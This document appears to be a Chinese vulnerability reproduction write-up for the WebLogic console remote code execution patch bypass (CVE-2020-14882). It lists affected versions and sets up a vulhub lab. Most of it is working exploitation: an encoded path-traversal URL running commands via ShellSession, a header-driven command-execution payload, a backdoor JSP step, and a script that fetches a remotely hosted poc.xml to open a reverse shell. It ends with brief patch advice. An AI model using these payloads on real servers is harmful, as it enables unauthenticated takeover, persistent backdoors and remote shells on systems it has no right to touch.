目录
一 、漏洞描述
WebLogic远程代码执行漏洞(漏洞编号:CVE-2020-14882)的补丁存在绕过风险,远程攻击者可以构造特殊的 HTTP 请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic ServerConsole 执行任意代码。
二 、影响版本
Oracle WeblogicServer 10.3.6.0.0
Oracle WeblogicServer 12.1.3.0.0
Oracle WeblogicServer 12.2.1.3.0
Oracle WeblogicServer 12.2.1.4.0
Oracle WeblogicServer 14.1.1.0.0
三 、漏洞利用
环境搭建
操作系统:Ubuntu 20.04.2 LTS
此处利用vulhub的环境进行复现,开启docker-compose环境:docker-compose up -d
漏洞复现
1. 访问漏洞环境:http://your-ip:7001/console/login/LoginForm.jsp
2. 手工式利用
方法一:
1)根据不同需求进行Pyload构造。此处是通过在/tmp目录创建111.txt进行验证:
Pyload1:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/111.txt%27);%22)
方法二:
1)用burpsuit抓包,通过绕过后台,提交如下的Pyload2
Pyload2:
/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')
2)知道了当前页面的路径为/u01/oracle/user_projects/domains/base_domain,然后我们就可以在该目录下写入后门文件,此时是通过向backdoor.jsp输入一句话
3. 复现成功,效果如下:
Pyload1结果:
Pyload2结果:
4. 脚本化利用
1)首先测试脚本是否可以正常使用,执行命令“python CVE-2020-14882_ALL.py -u http://192.168.17.134:7001 -c "whoami"”,发现返回“oracle”,证明脚本可用
2)通过外置xml文件执行无回显命令,首先编辑好poc.xml文件,并将poc.xml放在python39目录下
3)开启8000端口(目的是可以访问poc.xml)
4)此时访问8000端口可以发现poc.xml
5)使用ncat开启2233端口(目的是在这里反弹shell)
6)执行命令(python=python3)
python CVE-2020-14882_ALL.py -u http://192.168.17.134:7001 -x http://192.168.0.100:8000/poc.xml
7)此时监听的2233端口反弹shell
四 、漏洞修复
目前 Oracle 官方已发布了最新针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。Oracle 官方补丁需要用户持有正版软件的许可账号,使用该账号登陆 https://support.oracle.com 后,可以下载最新补丁。
临时修补建议
暂时对外关闭后台 /console/console.portal
的访问权限。